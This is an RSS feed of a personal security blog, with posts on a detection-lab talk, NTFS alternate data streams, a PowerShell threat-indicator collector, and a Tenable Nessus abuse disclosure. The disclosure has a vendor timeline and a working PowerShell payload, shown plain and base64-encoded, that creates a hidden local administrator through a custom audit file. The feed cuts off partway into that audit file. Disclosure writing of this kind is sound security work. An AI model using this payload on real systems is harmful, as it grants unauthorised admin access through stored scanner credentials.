<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Wylie Bayes]]></title><description><![CDATA[Geek things]]></description><link>http://wyliebayes.com/</link><image><url>http://wyliebayes.com/favicon.png</url><title>Wylie Bayes</title><link>http://wyliebayes.com/</link></image><generator>Ghost 2.31</generator><lastBuildDate>Mon, 07 Oct 2019 16:02:17 GMT</lastBuildDate><atom:link href="http://wyliebayes.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Building A Detection Lab With Security Onion]]></title><description><![CDATA[<p>Google Docs Slides - <a href="https://docs.google.com/presentation/d/1ojFY5Jvc6M9dKXs1qSuh6UoWc2zqL6xREbojRL921bU/edit?usp=sharing">https://docs.google.com/presentation/d/1ojFY5Jvc6M9dKXs1qSuh6UoWc2zqL6xREbojRL921bU/edit?usp=sharing</a>	</p><p>PDF Slides - <a href="https://wmfb.co/txt/SecOnion_DetectLab.pdf">https://wmfb.co/txt/SecOnion_DetectLab.pdf</a></p><p>Above are the slides that were presented at the Security Onion + Bsides Augusta conference on October 4th 2019. </p><p>Recorded talk on YouTube:  <a href="https://youtu.be/JOvWCQ-PHHY">https://youtu.be/JOvWCQ-PHHY</a></p>]]></description><link>http://wyliebayes.com/building-a-detection-lab-with-security-onion/</link><guid isPermaLink="false">5d8a34dca93fd2e5ae9daeab</guid><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Fri, 04 Oct 2019 10:19:28 GMT</pubDate><content:encoded><![CDATA[<p>Google Docs Slides - <a href="https://docs.google.com/presentation/d/1ojFY5Jvc6M9dKXs1qSuh6UoWc2zqL6xREbojRL921bU/edit?usp=sharing">https://docs.google.com/presentation/d/1ojFY5Jvc6M9dKXs1qSuh6UoWc2zqL6xREbojRL921bU/edit?usp=sharing</a>	</p><p>PDF Slides - <a href="https://wmfb.co/txt/SecOnion_DetectLab.pdf">https://wmfb.co/txt/SecOnion_DetectLab.pdf</a></p><p>Above are the slides that were presented at the Security Onion + Bsides Augusta conference on October 4th 2019. </p><p>Recorded talk on YouTube:  <a href="https://youtu.be/JOvWCQ-PHHY">https://youtu.be/JOvWCQ-PHHY</a>  </p><!--kg-card-begin: embed--><figure class="kg-card kg-embed-card"><iframe width="480" height="270" src="https://www.youtube.com/embed/JOvWCQ-PHHY?feature=oembed" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></figure><!--kg-card-end: embed-->]]></content:encoded></item><item><title><![CDATA[Alternate Data Streams, and Extended File System Attributes.]]></title><description><![CDATA[<h2 id="alternate-data-streams-ads-"><strong>Alternate data streams (ADS) </strong></h2><p>are an NTFS file system only capability to be able to add data onto an additional "Stream" of a file without altering the contents of the file itself, or modify it's hash value in anyway.  <br><br>First we are going to create a new file, and add</p>]]></description><link>http://wyliebayes.com/ads-ands-xfa/</link><guid isPermaLink="false">5d61bdef92ca070b09e7630c</guid><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Sat, 24 Aug 2019 23:09:36 GMT</pubDate><content:encoded><![CDATA[<h2 id="alternate-data-streams-ads-"><strong>Alternate data streams (ADS) </strong></h2><p>are an NTFS file system only capability to be able to add data onto an additional "Stream" of a file without altering the contents of the file itself, or modify it's hash value in anyway.  <br><br>First we are going to create a new file, and add some data into it.  This can be any type of file, or an already existing file as long as it resides on an NTFS partition. </p><p>Creating a new file, adding data, hashing the file:</p><!--kg-card-begin: image--><figure class="kg-card kg-image-card"><img src="http://wyliebayes.com/content/images/2019/08/ads_ss1.PNG" class="kg-image"></figure><!--kg-card-end: image--><p>Now you see by listing the streams on a particular file that it already has "$DATA".  This is normal and will be present on any file.  Lets add an additional stream, and data more data. </p><!--kg-card-begin: image--><figure class="kg-card kg-image-card"><img src="http://wyliebayes.com/content/images/2019/08/ads_ss2.PNG" class="kg-image"></figure><!--kg-card-end: image--><p>So as you can see from the above, we added 211 additional bytes onto the file.  But the hash remains the same.  </p><p>On NTFS you can store an unlimited number of streams, with an unlimited amount of data (at least that is available on the filesystem). </p><p>Some gotchas about this are you cannot transfer over most protocols like HTTP, HTTPS, SSH, etc.  It WILL work over SMB as long as both partitions are NTFS. </p><p></p><p></p><h2 id="linux-extended-file-attributes-xfa-"><strong>Linux Extended File attributes (XFA) </strong></h2><p>are supported on most Linux/Unix filesystem types.  However there are greater limitations on the amount of size of an extended attribute.  This is usually tied to the block size that partition was formatted with.  So lets say during installation the filesystem was formatted as Ext4 with a 4k block size, then we can only store 4k worth of data per attribute.  Same steps as above with ADS, just a little different execution. </p><p>Creating a new file, putting data in it, hashing it:</p><!--kg-card-begin: image--><figure class="kg-card kg-image-card"><img src="http://wyliebayes.com/content/images/2019/08/XFA_SS1.png" class="kg-image"></figure><!--kg-card-end: image--><p>Next creating a new Extended File Attribute and adding data to it, and rehashing again seeing that it does not change.</p><!--kg-card-begin: image--><figure class="kg-card kg-image-card"><img src="http://wyliebayes.com/content/images/2019/08/XFA_SS2.png" class="kg-image"></figure><!--kg-card-end: image--><p>And it's basically as simple as that.  Thanks for reading my simple ADS/XFA write up!  </p>]]></content:encoded></item><item><title><![CDATA[AlienVault OTX(Online Threat Exchange) - Powershell IoC Collector]]></title><description><![CDATA[<p><img src="http://wyliebayes.com/content/images/2018/02/AlienVault-OTX.png" alt="AlienVault-OTX"></p>
<p>So I wanted to automate IoC(Indicators of Compromise) collection and discovered AlienVault OTX product. I work in a primarily windows workstation environment and Powershell is my goto language for just about everything since since it is native on every system since Windows 7.</p>
<p>Below is a script I developed</p>]]></description><link>http://wyliebayes.com/alienvault-otx-powershell/</link><guid isPermaLink="false">5a7dffe89a7c0e7cc6c16eb6</guid><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Mon, 19 Mar 2018 14:21:00 GMT</pubDate><media:content url="http://wyliebayes.com/content/images/2018/02/AlienVault-OTX-1.png" medium="image"/><content:encoded><![CDATA[<img src="http://wyliebayes.com/content/images/2018/02/AlienVault-OTX-1.png" alt="AlienVault OTX(Online Threat Exchange) - Powershell IoC Collector"><p><img src="http://wyliebayes.com/content/images/2018/02/AlienVault-OTX.png" alt="AlienVault OTX(Online Threat Exchange) - Powershell IoC Collector"></p>
<p>So I wanted to automate IoC(Indicators of Compromise) collection and discovered AlienVault OTX product. I work in a primarily windows workstation environment and Powershell is my goto language for just about everything since since it is native on every system since Windows 7.</p>
<p>Below is a script I developed to gather indicators from all subscribed pulses on OTX with powershell.  It gathers each indicator by type, IE: IPv4, URL, Hostname etc, and then exports each seperate indicator type into CSV files that can be imported into another system like your SIEM.</p>
<p>This script is located on my <a href="https://github.com/forgottentq/powershell/blob/master/GetOTX-Data.ps1">Github</a>, and will have the most recent updated version.</p>
<p><img src="http://wyliebayes.com/content/images/2018/02/OTX_Running.PNG" alt="AlienVault OTX(Online Threat Exchange) - Powershell IoC Collector"></p>
<pre><code>#
# Powershell script to pull indicators from Alien Vault Opensource Threat Exchange(OTX) and export to CSVs for importing into Arcsight or other SIEM.
# Written by Wylie Bayes 02/23/2018
#
# Define Main Function, set variables to Null, and then define as arrays. 
function GetOTX-Data {
    clear
    $otxkey = &quot;YOUR API KEY GOES HERE!!&quot;
    # Define export location.
    $exports = &quot;C:\Exports&quot;
    $whitelists = &quot;C:\Whitelists&quot;
    # How old are indicators allowed to be in days
    $daysold = &quot;30&quot;
    #
    $FileHashesEPO = $null
    $FileHashesPalo = $null
    $hostnames = $null
    $IPV4s = $null
    $IPV6s = $null
    $Emails = $null
    $URLs = $null
    $CVEs = $null
    $counts = $null
    $total = $null
    $hostnames = @()
    $IPV4s = @()
    $IPV6s = @()
    $URLs = @()
    $FileHashesEPO = @()
    $FileHashesPalo = @()
    $Emails = @()
    $CVEs = @()
    $counts = @()
    ;&quot;&quot;
    ;&quot;&quot;
    ;&quot;&quot;
    #Populate our awesome ascii art into an array
    $alien = @&quot;
                      Alien Vault

.     .       .  .   . .   .   . .    +  .
  .     .  :     .    .. :. .___---------___.
       .  .   .    .  :.:. _&quot;.^ .^ ^.  '.. :&quot;-_. .
    .  :       .  .  .:../:            . .^  :.:\.
        .   . :: +. :.:/: .   .    .        . . .:\
 .  :    .     . _ :::/:               .  ^ .  . .:\
  .. . .   . - : :.:./.                        .  .:\
  .      .     . :..|:                    .  .  ^. .:|
    .       . : : ..||        .                . . !:|
  .     . . . ::. ::\(                           . :)/
 .   .     : . : .:.|. ######              .#######::|
  :.. .  :-  : .:  ::|.#######           ..########:|
 .  .  .  ..  .  .. :\ ########          :######## :/
  .        .+ :: : -.:\ ########       . ########.:/
    .  .+   . . . . :.:\. #######       #######..:/
      :: . . . . ::.:..:.\           .   .   ..:/
   .   .   .  .. :  -::::.\.       | |     . .:/
      .  :  .  .  .-:.&quot;:.::.\             ..:/
 .      -.   . . . .: .:::.:.\.           .:/
.   .   .  :      : ....::_:..:\   ___.  :/
   .   .  .   .:. .. .  .: :.:.:\       :/
     +   .   .   : . ::. :.:. .:.|\  .:/|
     .         +   .  .  ...:: ..|  --.:|
.      . . .   .  .  . ... :..:..&quot;(  ..)&quot;
 .   .       .      :  .   .: ::/  .  .::\

&quot;@
    # Write out pretty ascii art to the screen.
    write-host &quot;$alien&quot;
    # Define our Error preference.
    $ErrorActionPreference = &quot;SilentlyContinue&quot;
    # Archive previous days export into the archive folder.
    $archive = get-childitem &quot;$exports\*.csv&quot;
    if ($archive -ne $null){
        Move-Item $archive &quot;$exports\archive\&quot; -Force
        write-host &quot;Archived previous CSVs into the archive folder&quot; -foregroundcolor &quot;Green&quot;
    } else {
        write-host &quot;No previous CSV's to archive. Continuing&quot; -foregroundcolor &quot;Yellow&quot;
    }
    # Pull in White Lists for Exclusions
    $IPv4WL = Import-CSV &quot;$whitelists\IPv4s.csv&quot; | where {(get-date $_.&quot;WhiteListed Date&quot;) -gt (get-date).AddDays(-30)}
    $CVEWL = Import-CSV &quot;$whitelists\CVEs.csv&quot; | where {(get-date $_.&quot;WhiteListed Date&quot;) -gt (get-date).AddDays(-30)}
    $DomainOrHostnameWL = Import-CSV &quot;$whitelists\DomainOrHostnames.csv&quot; | where {(get-date $_.&quot;WhiteListed Date&quot;) -gt (get-date).AddDays(-30)}
    $EmailWL = Import-CSV &quot;$whitelists\Emails.csv&quot; | where {(get-date $_.&quot;WhiteListed Date&quot;) -gt (get-date).AddDays(-30)}
    $FileHashWL = Import-CSV &quot;$whitelists\FileHashes.csv&quot; | where {(get-date $_.&quot;WhiteListed Date&quot;) -gt (get-date).AddDays(-30)}
    $URLWL = Import-CSV &quot;$whitelists\URLs.csv&quot; | where {(get-date $_.&quot;WhiteListed Date&quot;) -gt (get-date).AddDays(-30)}
    # Get the date for naming CSV exports at the end.
    $date = get-date
    # Define a bit of regex for later
    $regex = &quot;[^a-zA-Z]&quot;
    # Define first page to begin.
    $next = &quot;https://otx.alienvault.com/api/v1/pulses/subscribed/?limit=10&amp;page=1&quot;
    do {
        write-progress &quot;Pulling all AlienVault indicators and exporting to CSVs. Processing page: $page&quot;
        $indicators = invoke-webrequest -URI $next -UseBasicParsing -Headers @{&quot;X-OTX-API-KEY&quot;=&quot;$otxkey&quot;} -UseDefaultCredentials
        # Convert JSON data received into powershell object.
        $data = $indicators.Content | ConvertFrom-Json
        # Populate the next page into $next variable.
        $next = $data.next
        $page = $next.split(&quot;&amp;&quot;)[1].split(&quot;=&quot;)[1]
        #
        $filtered = $data.Results | where {$_.References -ne $null}
        if ($filtered){
            foreach ($item in $filtered){
                $name = $null
                $name = $item.Name -replace $regex
                $LastModified = get-date $item.Modified
                if ($LastModified -gt (get-date).AddDays(&quot;-$daysold&quot;)){
                    foreach ($indicator in $Item.Indicators) {
                        # Gather Domain and Subdomain Names Indicators
                        if ($indicator.Type -eq &quot;hostname&quot; -or $indicator.type -eq &quot;domain&quot; -and $indicator.indicator -notin $DomainOrHostnameWL.DomainOrHostName){
                            if ($item.References -like &quot;*http*&quot;) {
                                $hostnames += new-object PSObject -Property @{&quot;Hostname&quot;=&quot;$($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select Hostname,Name,Reference
                            }
                        }
                        # Gather All IPV4 Indicators
                        if ($indicator.Type -eq &quot;IPv4&quot; -and $indicator.indicator -notin $IPv4WL.&quot;IPv4 Address&quot;){
                            if ($item.References -like &quot;*http*&quot;){
                                $IPV4s += new-object PSObject -Property @{&quot;IPv4 Address&quot;=&quot;$($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select &quot;IPv4 Address&quot;,Name,Reference
                            }
                        }
                        # Gather All IPV6 Indicators
                        if ($indicator.Type -eq &quot;IPv6&quot;){
                            if ($item.References -like &quot;*http*&quot;){
                                $IPV6s += new-object PSObject -Property @{&quot;IPv6 Address&quot;=&quot;$($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select &quot;IPv6 Address&quot;,Name,Reference
                            }
                        }
                        # Gather All URL Indicators
                        if ($indicator.Type -eq &quot;URL&quot; -and $indicator.indicator -notin $URLWL.URL){
                            if ($item.References -like &quot;*http*&quot;){
                                $URLs += new-object PSObject -Property @{&quot;URL&quot;=&quot;$($indicator.indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select URL,Name,Reference
                            }
                        }
                        # Gather all File Hash Indicators
                        if ($indicator.Type -eq &quot;FileHash-MD5&quot; -or $indicator.Type -eq &quot;FileHash-SHA1&quot; -or $indicator.Type -eq &quot;Filehash-SHA256&quot; -and $indicator.indicator -notin $FileHashWL.FileHash){
                            if ($item.References -like &quot;*http*&quot;){
                                if ($item.References -ne $null -and $item.References -like &quot;*http*&quot;){
                                    $FileHashesEPO += new-object PSObject -Property @{&quot;FileHash&quot;=&quot;AppHash: $($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select FileHash,Name,Reference
                                    $FileHashesPalo += new-object PSObject -Property @{&quot;FileHash&quot;=&quot;$($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select FileHash,Name,Reference
                                }
                            }
                        }
                        # Gather all Email Indicators
                        if ($indicator.Type -eq &quot;email&quot; -and $indicator.indicator -notin $EmailWL.&quot;Email Address&quot;){
                            if ($item.References -like &quot;*http*&quot;){
                                $Emails += new-object PSObject -Property @{&quot;Email&quot;=&quot;$($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select Email,Name,Reference
                            }
                        }
                        if ($indicator.Type -eq &quot;CVE&quot; -and $indicator.indicator -notin $CVEWL.CVE){
                            if ($item.References -like &quot;*http*&quot;){
                                $CVEs += new-object PSObject -Property @{&quot;CVE&quot;=&quot;$($indicator.Indicator)&quot;; &quot;Name&quot;=&quot;$($name)&quot;; &quot;Reference&quot;=&quot;$($item.References)&quot;} | Select CVE,Name,Reference
                            }
                        }
                    }
                }
            }
        }
    } while ($next -ne $null)
    # Export all indicators to CSVs if data exists in each object.
    if ($hostnames){
        $hostnames | ConvertTo-Csv -NoTypeInformation | Select -Skip 1 | Set-Content &quot;$($exports)Hostnames_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($IPV4s) {
        $IPV4s | ConvertTo-Csv -NoTypeInformation | Select -Skip 1 | Set-Content &quot;$($exports)IPV4s_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($IPV6s) {
        $IPV6s | ConvertTo-Csv -NoTypeInformation | select -Skip 1 | Set-Content &quot;$($exports)IPV6s_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($URLs) {
        $URLs | ConvertTo-Csv -NoTypeInformation | select -Skip 1 | Set-Content &quot;$($exports)URLs_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($FileHashesEPO) {
        $FileHashesEPO | ConvertTo-Csv -NoTypeInformation | select -Skip 1 | Set-Content &quot;$($exports)FileHashesEPO_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($FileHashesPalo) {
        $FileHashesPalo | ConvertTo-Csv -NoTypeInformation | select -Skip 1 | Set-Content &quot;$($exports)FileHashesPalo_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($Emails){
        $Emails | ConvertTo-Csv -NoTypeInformation | select -Skip 1 | Set-Content &quot;$($exports)Emails_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    if ($CVEs){
        $CVEs | ConvertTo-Csv -NoTypeInformation | select -Skip 1 | Set-Content &quot;$($exports)CVEs_$($date.month)_$($date.day)_$($date.year).csv&quot;
    }
    # Total up the indicators and create a CSV just for number tracking.
    $total = $hostnames.count + $IPv4s.count + $URLs.count + $FileHashesEPO.count + $Emails.count + $CVEs.count
    $counts = new-object PSObject -Property @{&quot;Hostnames&quot;=&quot;$($hostnames.count)&quot;; &quot;IPv4s&quot;=&quot;$($IPv4s.count)&quot;; &quot;URLs&quot;=&quot;$($URLs.Count)&quot;; &quot;FileHashes&quot;=&quot;$($FileHashesEPO.count)&quot;; &quot;Emails&quot;=&quot;$($Emails.Count)&quot;; &quot;CVEs&quot;=&quot;$($CVEs.count)&quot;; &quot;Total&quot;=&quot;$($total)&quot;} | Select Hostnames,IPv4s,URLs,FileHashes,Emails,CVEs,Total
    $counts | Export-csv &quot;$($exports)Total_Numbers_$($date.month)_$($date.day)_$($date.year).csv&quot; -NoTypeInformation
    # Open exports folder and complete the operation.
    write-host &quot;Opening exports folder...&quot; -foregroundcolor &quot;green&quot;
    ii $exports
}</code></pre>
]]></content:encoded></item><item><title><![CDATA[Abusing Tenable Nessus / Security Center with Audit Files and Powershell.  #Nessus #Infosec #ExploitDelivery #RBACBypass #InsiderThreat]]></title><description><![CDATA[<center><div id="image-table">
    <table>
        <tr>
            <td style="padding:5px">
                <img src="https://shield-maiden.com/static/nessus.png">
              </td>
            <td style="padding:5px">
                <img src="https://shield-maiden.com/static/powershell.png">
             </td>
        </tr>
    </table>
</div></center>
<h2 id="titleabuseoftenablenessussecuritycenterwithauditfilesandpowershell">Title: Abuse of Tenable Nessus/Security Center with Audit Files and Powershell.</h2>
<h3 id="classexploitdeliverysystemrbacbypassinsiderabusepivotvector">Class: Exploit Delivery System/RBAC Bypass/Insider Abuse/Pivot Vector.</h3>
<h4 id="signedpdfwithkeybasepgpkey"><a href="http://wmfb.co/txt/Tenable_Compliance_Disclosure.pdf">Signed PDF with Keybase PGP key</a></h4>
<h4 id="wyliespgpkey"><a href="https://wyliebayes.com/pgpkey/">Wylie's PGPKey</a></h4>
<h4 id="datepublished20170727">Date Published: 2017-07-27</h4>
<h4 id="lastupdate20170622">Last Update:  2017-06-22</h4>
<h3 id="vendorscontactedtenablenetworksecurityhttpswwwtenablecom">Vendors contacted:  Tenable Network Security - <a href="https://www.tenable.com">https://www.tenable.com</a></h3>
<ul>
<li>2016-12-05 - First notification</li></ul>]]></description><link>http://wyliebayes.com/abusing-tenable/</link><guid isPermaLink="false">5a74cad819539b2fb28e594e</guid><category><![CDATA[Powershell]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Wylie Bayes]]></dc:creator><pubDate>Thu, 27 Jul 2017 14:57:43 GMT</pubDate><content:encoded><![CDATA[<center><div id="image-table">
    <table>
        <tr>
            <td style="padding:5px">
                <img src="https://shield-maiden.com/static/nessus.png">
              </td>
            <td style="padding:5px">
                <img src="https://shield-maiden.com/static/powershell.png">
             </td>
        </tr>
    </table>
</div></center>
<h2 id="titleabuseoftenablenessussecuritycenterwithauditfilesandpowershell">Title: Abuse of Tenable Nessus/Security Center with Audit Files and Powershell.</h2>
<h3 id="classexploitdeliverysystemrbacbypassinsiderabusepivotvector">Class: Exploit Delivery System/RBAC Bypass/Insider Abuse/Pivot Vector.</h3>
<h4 id="signedpdfwithkeybasepgpkey"><a href="http://wmfb.co/txt/Tenable_Compliance_Disclosure.pdf">Signed PDF with Keybase PGP key</a></h4>
<h4 id="wyliespgpkey"><a href="https://wyliebayes.com/pgpkey/">Wylie's PGPKey</a></h4>
<h4 id="datepublished20170727">Date Published: 2017-07-27</h4>
<h4 id="lastupdate20170622">Last Update:  2017-06-22</h4>
<h3 id="vendorscontactedtenablenetworksecurityhttpswwwtenablecom">Vendors contacted:  Tenable Network Security - <a href="https://www.tenable.com">https://www.tenable.com</a></h3>
<ul>
<li>2016-12-05 - First notification sent by Wylie Bayes to Tenable Consultant Jack Daniel.</li>
<li>2016-12-07 - Acknowledgement of first notification received from Tenable team.</li>
<li>2017-01-04 - Sent follow up email for progress update to Tenable team.</li>
<li>2017-01-04 - Received update from Tenable stating two teams were working on the problem, with two possible solutions being explored.</li>
<li>2017-02-01 - Sent follow up email for progress update to Tenable team.</li>
<li>2017-02-01 - Received response and new .nbin file to test.</li>
<li>2017-02-02 - Tested .nbin file from Tenable but were still able to create local admins.  Sent results back to Tenable team.</li>
<li>2017-02-03 - Received 2nd .nbin file for testing from Tenable team.</li>
<li>2017-02-06 - Tested 2nd .nbin file but were still able to create local admins.  Sent results back to Tenable team.</li>
<li>2017-02-06 - Received request for example code / audit file from Tenable team to demonstrate how local admins were being created.</li>
<li>2017-02-06 - Provided the requested information to Tenable team.</li>
<li>2017-02-06 - Received 3rd .nbin file for testing from Tenable team.</li>
<li>2017-02-06 - Tested 3rd .nbin file and NO local admin was created. Success!</li>
<li>2017-02-06 - Requested release date, and plugin ID# of fix as soon as they had the information.</li>
<li>2017-02-06 - Received acknowledgement that the information would be sent as soon as it was known by Tenable team.</li>
<li>2017-02-13 - Received release plan information from Tenable team.</li>
<li>2017-02-13 - New plugin released.  ==<b>Plugin ID# 21156 , version 1.252</b>.  Published into update Feed! ==</li>
<li>2017-02-14 - Confirmed new plugin was published by Tenable team.</li>
<li>2017-02-15 - <b>Received request from Tenable to not publish findings due to investigation of this issue, leading to other compliance scanning abuse.  Specifically mentioned &quot;Unix&quot; compliance auditing being vulnerable as well.</b></li>
<li>2017-02-15 - Agreed to not disclose until other compliance abuse problems are fixed, and that a Tenable security advisory is published giving Wylie Bayes credit for the initial finding.</li>
<li>2017-03-14 - Sent follow up message to Brian Martin at Tenable.  Received response but nothing useful.  Extended to &quot;3 month&quot; estimate, vice previously stated 2 month estimate on 2/15, and stated he would follow up again at the &quot;half way point.&quot;</li>
<li>2017-04-14 - Contacted Tenable again for an update.  Did not receive any useful information.</li>
<li>2017-04-19 - Received update repeating prior information with nothing useful.</li>
<li>2017-05-03 - Sent email expressing my concerns of lack of transparency and lack progress updates.  The estimated &quot;3 month&quot; timeline to fix &quot;the unix side&quot; is about to expire. (05/14/17)</li>
<li>2017-05-04 - Response from Tenable &quot;Understood. Let me take this to someone higher up in the Dev chain and see if I can set a better sense of urgency on our side.&quot;</li>
<li>2017-05-05 - Follow up from Tenable that the issue was elevated to a &quot;Sr. Director of Engineering&quot; who at this point had not been involved at all.</li>
<li>2017-05-17 - Email from my Tenable POC stating as of this date he was no longer with Tenable and passed me off to their generic <a href="mailto:%22vulnreport@tenable.com">&quot;vulnreport@tenable.com</a>&quot; address.</li>
<li>2017-05-17 - Sent email to generic address requesting new POC and more solid / transparent timeline.</li>
<li>2017-05-22 - Sent email stating if a new POC is not assigned and timeline not presented within 7 days of this email, the information will go public.</li>
<li>2017-06-13 - Made contact with another POC the &quot;Senior Director Product Security&quot; for Tenable.</li>
<li>2017-06-16 - Got confirmation from POC that the stance from Tenable is now to implement controls and issue warnings within their UI(user interface) to mitigate this capability and explain its seriousness to admins and users.</li>
<li>2017-06-22 - Disclosed to MDA(Missile Defense Agency) due to the serious nature of this unexpected system capability.</li>
<li>2017-07-27 - Published this write up.</li>
</ul>
<h3 id="vulnerabilitydescription">Vulnerability Description:</h3>
<p>This product abuse method utilizes credentials stored within Tenable Nessus scanners, or Security Centers to launch custom created Audit files. The custom audit files can then make changes on Windows(and others as disclosed by Tenable). The ability to upload custom audit files is given to the lowest level user by default, and the user must simply select and use credentials stored / shared with them.</p>
<h3 id="background">Background:</h3>
<p>Disclosed this as a product abuse problem due to Tenable's <code>nessus_compliance_reference.pdf</code> documentation specifically stating:</p>
<p>&quot;This item uses the field <code>powershell_args</code> to specify the arguments that need to be supplied to powershell.exe. If the location of powershell.exe is not default, you must use the <code>powershell_console_file</code> keyword to specify the location. Currently only the “get-” cmdlets are supported.&quot;</p>
<p>For example:</p>
<pre><code>get-hotfix | where-object {$_.hotfixid -ne 'File 1'} | select Description,HotFixID,InstalledBy | format-list&quot;
</code></pre>
<p>After successfully completing scans that do various other things without the use of &quot;get-&quot; cmdlets, I concluded this documentation was incorrect, and was part of the disclosure to tenable.</p>
<h3 id="technicaldescriptionexploitcodeconcept">Technical Description - Exploit Code/Concept</h3>
<p>Custom Audit file / base64 encoded powershell strings.<br>
Here is an example of how to create a Local Admin on a machine:</p>
<pre><code>    $test =
    '
	$desc = &quot;Admin added with Nessus Bitches&quot;
	$password = &quot;ThisPasswordisAwesome2016*&quot;
	$username = &quot;TestAdminNessus&quot;
	$computername = $env:COMPUTERNAME   # place computername here for remote access
	$computer = [ADSI]&quot;WinNT://$computername,computer&quot;
	$user = $computer.Create(&quot;user&quot;, $username)
	$user.SetPassword($password)
    $user.Setinfo()
    $user.description = $desc
    $user.setinfo()
	$user.UserFlags = 65536
	$user.SetInfo()
	$group = [ADSI](&quot;WinNT://$computername/administrators,group&quot;)
	$group.add(&quot;WinNT://$username,user&quot;)
    '

    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($test))
     CgAkAGQAZQBzAGMAIAA9ACAAIgBBAGQAbQBpAG4AIABhAGQAZABlAGQAIAB3AGkAdABoACAATgBlAHMAcwB1AHMAIABCAGkAdABjAGgAZQBzACIACgAkAHAAYQBzAHMAdwBvAHIAZAAgAD0AIAAiAFQAaABpAHMAUABhAHMAcwB3AG8AcgBkAGkAcwBBAHcAZQBzAG8AbQBlADIAMAAxADYAKgAiAAoAJAB1AHMAZQByAG4AYQBtAGUAIAA9ACAAIgBUAGUAcwB0AEEAZABtAGkAbgBOAGUAcwBzAHUAcwAiAAoAJABjAG8AbQBwAHUAdABlAHIAbgBhAG0AZQAgAD0AIAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNAEUAIAAgACAAIwAgAHAAbABhAGMAZQAgAGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlACAAaABlAHIAZQAgAGYAbwByACAAcgBlAG0AbwB0AGUAIABhAGMAYwBlAHMAcwAKACQAYwBvAG0AcAB1AHQAZQByACAAPQAgAFsAQQBEAFMASQBdACIAVwBpAG4ATgBUADoALwAvACQAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUALABjAG8AbQBwAHUAdABlAHIAIgAKACQAdQBzAGUAcgAgAD0AIAAkAGMAbwBtAHAAdQB0AGUAcgAuAEMAcgBlAGEAdABlACgAIgB1AHMAZQByACIALAAgACQAdQBzAGUAcgBuAGEAbQBlACkACgAkAHUAcwBlAHIALgBTAGUAdABQAGEAcwBzAHcAbwByAGQAKAAkAHAAYQBzAHMAdwBvAHIAZAApAAoAJAB1AHMAZQByAC4AUwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAHIALgBkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA9ACAAJABkAGUAcwBjAAoAJAB1AHMAZQByAC4AcwBlAHQAaQBuAGYAbwAoACkACgAkAHUAcwBlAHIALgBVAHMAZQByAEYAbABhAGcAcwAgAD0AIAA2ADUANQAzADYACgAkAHUAcwBlAHIALgBTAGUAdABJAG4AZgBvACgAKQAKACQAZwByAG8AdQBwACAAPQAgAFsAQQBEAFMASQBdACgAIgBXAGkAbgBOAFQAOgAvAC8AJABjAG8AbQBwAHUAdABlAHIAbgBhAG0AZQAvAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAsAGcAcgBvAHUAcAAiACkACgAkAGcAcgBvAHUAcAAuAGEAZABkACgAIgBXAGkAbgBOAFQAOgAvAC8AJAB1AHMAZQByAG4AYQBtAGUALAB1AHMAZQByACIAKQAKAA==
</code></pre>
<p>test.audit file:</p>
<pre><code>&lt;check_type: &quot;Windows&quot; version:&quot;2&quot;&gt;
&lt;group_policy: &quot;Test&quot;&gt;


&lt;custom_item&gt;
type: AUDIT_POWERSHELL
description:&quot;Create Local Admin&quot;
value_type: POLICY_TEXT
value_data: &quot;&quot;
